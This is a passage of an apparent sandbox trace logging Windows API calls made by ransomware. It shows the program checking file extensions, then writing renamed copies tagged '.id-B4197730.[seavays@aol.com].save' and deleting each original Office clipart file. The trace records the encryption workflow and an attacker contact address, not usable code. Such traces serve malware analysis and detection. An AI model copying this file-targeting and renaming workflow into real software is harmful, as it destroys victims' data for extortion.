(lpString=".ppt") returned 4 [0068.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0068.782] lstrlenW (lpString=".zip") returned 4 [0068.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.782] lstrlenW (lpString=".rar") returned 4 [0068.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.782] lstrlenW (lpString=".bz2") returned 4 [0068.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.782] lstrlenW (lpString=".7z") returned 3 [0068.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0068.782] lstrlenW (lpString=".dbf") returned 4 [0068.782] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0068.782] lstrlenW (lpString=".1cd") returned 4 [0068.782] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0068.782] lstrlenW (lpString=".jpg") returned 4 [0068.782] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.783] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.783] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0068.784] GetLastError () returned 0x0 [0068.784] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0xa82, lpOverlapped=0x0) returned 1 [0068.787] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xa90, lpOverlapped=0x0) returned 1 [0068.788] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.788] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.789] SetEndOfFile (hFile=0x368) returned 1 [0068.789] CloseHandle (hObject=0x368) returned 1 [0068.790] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.790] SetEndOfFile (hFile=0x2e8) returned 1 [0068.791] CloseHandle (hObject=0x2e8) returned 1 [0068.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 1 [0068.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0068.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0068.792] lstrlenW (lpString=".doc") returned 4 [0068.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.792] lstrlenW (lpString=".docx") returned 5 [0068.792] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.792] lstrlenW (lpString=".pdf") returned 4 [0068.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.792] lstrlenW (lpString=".xls") returned 4 [0068.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.792] lstrlenW (lpString=".xlsx") returned 5 [0068.792] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.792] lstrlenW (lpString=".ppt") returned 4 [0068.792] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0068.792] lstrlenW (lpString=".zip") returned 4 [0068.792] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.792] lstrlenW (lpString=".rar") returned 4 [0068.792] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.792] lstrlenW (lpString=".bz2") returned 4 [0068.792] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.792] lstrlenW (lpString=".7z") returned 3 [0068.792] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0068.792] lstrlenW (lpString=".dbf") returned 4 [0068.792] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0068.792] lstrlenW (lpString=".1cd") returned 4 [0068.792] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0068.793] lstrlenW (lpString=".jpg") returned 4 [0068.793] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.793] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.793] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0068.794] GetLastError () returned 0x0 [0068.794] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0xb10, lpOverlapped=0x0) returned 1 [0069.156] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xb20, lpOverlapped=0x0) returned 1 [0069.157] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0069.157] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0069.157] SetEndOfFile (hFile=0x368) returned 1 [0071.537] CloseHandle (hObject=0x368) returned 1 [0071.539] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.539] SetEndOfFile (hFile=0x2e8) returned 1 [0071.540] CloseHandle (hObject=0x2e8) returned 1 [0071.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0071.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 1 [0071.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0071.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0071.541] lstrlenW (lpString=".doc") returned 4 [0071.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.541] lstrlenW (lpString=".docx") returned 5 [0071.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.541] lstrlenW (lpString=".pdf") returned 4 [0071.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.541] lstrlenW (lpString=".xls") returned 4 [0071.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.541] lstrlenW (lpString=".xlsx") returned 5 [0071.541] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.541] lstrlenW (lpString=".ppt") returned 4 [0071.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0071.542] lstrlenW (lpString=".zip") returned 4 [0071.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.542] lstrlenW (lpString=".rar") returned 4 [0071.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.542] lstrlenW (lpString=".bz2") returned 4 [0071.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.542] lstrlenW (lpString=".7z") returned 3 [0071.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0071.542] lstrlenW (lpString=".dbf") returned 4 [0071.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0071.542] lstrlenW (lpString=".1cd") returned 4 [0071.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0071.542] lstrlenW (lpString=".jpg") returned 4 [0071.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.544] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.544] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0071.545] GetLastError () returned 0x0 [0071.545] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x1e94, lpOverlapped=0x0) returned 1 [0071.546] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x1ea0, lpOverlapped=0x0) returned 1 [0071.547] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.547] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.547] SetEndOfFile (hFile=0x2f8) returned 1 [0071.547] CloseHandle (hObject=0x2f8) returned 1 [0071.548] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.548] SetEndOfFile (hFile=0x2e8) returned 1 [0071.548] CloseHandle (hObject=0x2e8) returned 1 [0071.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0071.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 1 [0071.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0071.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0071.549] lstrlenW (lpString=".doc") returned 4 [0071.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.549] lstrlenW (lpString=".docx") returned 5 [0071.549] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.549] lstrlenW (lpString=".pdf") returned 4 [0071.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.549] lstrlenW (lpString=".xls") returned 4 [0071.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.549] lstrlenW (lpString=".xlsx") returned 5 [0071.549] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.550] lstrlenW (lpString=".ppt") returned 4 [0071.550] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0071.550] lstrlenW (lpString=".zip") returned 4 [0071.550] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.550] lstrlenW (lpString=".rar") returned 4 [0071.550] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.550] lstrlenW (lpString=".bz2") returned 4 [0071.550] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.550] lstrlenW (lpString=".7z") returned 3 [0071.550] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0071.550] lstrlenW (lpString=".dbf") returned 4 [0071.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0071.550] lstrlenW (lpString=".1cd") returned 4 [0071.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0071.550] lstrlenW (lpString=".jpg") returned 4 [0071.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.551] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.551] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0071.551] GetLastError () returned 0x0 [0071.551] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0xa7f0, lpOverlapped=0x0) returned 1 [0071.554] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xa800, lpOverlapped=0x0) returned 1 [0071.555] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.555] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.556] SetEndOfFile (hFile=0x2f8) returned 1 [0071.556] CloseHandle (hObject=0x2f8) returned 1 [0071.556] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.556] SetEndOfFile (hFile=0x2e8) returned 1 [0071.557] CloseHandle (hObject=0x2e8) returned 1 [0071.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0071.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 1 [0071.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0071.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0071.558] lstrlenW (lpString=".doc") returned 4 [0071.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.558] lstrlenW (lpString=".docx") returned 5 [0071.558] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.558] lstrlenW (lpString=".pdf") returned 4 [0071.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.558] lstrlenW (lpString=".xls") returned 4 [0071.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.558] lstrlenW (lpString=".xlsx") returned 5 [0071.558] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.558] lstrlenW (lpString=".ppt") returned 4 [0071.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0071.558] lstrlenW (lpString=".zip") returned 4 [0071.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.558] lstrlenW (lpString=".rar") returned 4 [0071.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.558] lstrlenW (lpString=".bz2") returned 4 [0071.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.558] lstrlenW (lpString=".7z") returned 3 [0071.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0071.558] lstrlenW (lpString=".dbf") returned 4 [0071.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0071.558] lstrlenW (lpString=".1cd") returned 4 [0071.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0071.558] lstrlenW (lpString=".jpg") returned 4 [0071.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.562] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.562] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0071.563] GetLastError () returned 0x0 [0071.563] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0xa79c, lpOverlapped=0x0) returned 1 [0071.565] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xa7a0, lpOverlapped=0x0) returned 1 [0071.566] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.566] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.566] SetEndOfFile (hFile=0x2f8) returned 1 [0071.566] CloseHandle (hObject=0x2f8) returned 1 [0071.567] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.567] SetEndOfFile (hFile=0x2e8) returned 1 [0071.568] CloseHandle (hObject=0x2e8) returned 1 [0071.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0071.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 1 [0071.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0071.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0071.569] lstrlenW (lpString=".doc") returned 4 [0071.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.569] lstrlenW (lpString=".docx") returned 5 [0071.569] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.569] lstrlenW (lpString=".pdf") returned 4 [0071.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.569] lstrlenW (lpString=".xls") returned 4 [0071.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.569] lstrlenW (lpString=".xlsx") returned 5 [0071.569] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.569] lstrlenW (lpString=".ppt") returned 4 [0071.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0071.569] lstrlenW (lpString=".zip") returned 4 [0071.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.569] lstrlenW (lpString=".rar") returned 4 [0071.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.569] lstrlenW (lpString=".bz2") returned 4 [0071.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.569] lstrlenW (lpString=".7z") returned 3 [0071.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0071.569] lstrlenW (lpString=".dbf") returned 4 [0071.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0071.569] lstrlenW (lpString=".1cd") returned 4 [0071.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0071.569] lstrlenW (lpString=".jpg") returned 4 [0071.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.572] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.572] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, 